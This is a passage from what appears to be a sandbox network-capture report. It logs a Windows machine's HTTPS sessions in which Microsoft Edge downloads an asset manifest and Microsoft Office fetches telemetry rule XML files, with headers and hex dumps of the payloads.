encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49887	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:29 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8b1254cc-601e-0033-2bb1-34312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093729Z-17df447cdb5w28bthC1DFWgb640000000bf00000000064sc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 09:37:29 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-12 09:37:29 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-12 09:37:29 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-12 09:37:29 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-12 09:37:29 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-12 09:37:30 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-12 09:37:30 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-12 09:37:30 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-12 09:37:30 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-16547b76f7f8dwtrhC1DFWd1zn0000000fk0000000006t0y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-16547b76f7f7jnp2hC1DFWfc300000000fm0000000000tq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6a0cb2be-701e-0032-13a8-34a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-17df447cdb5jg4kthC1DFWux4n0000000br000000000930g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-16547b76f7fwvr5dhC1DFW2c940000000fd0000000003ymw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:29 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-16547b76f7fp46ndhC1DFW66zg0000000fm00000000010x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
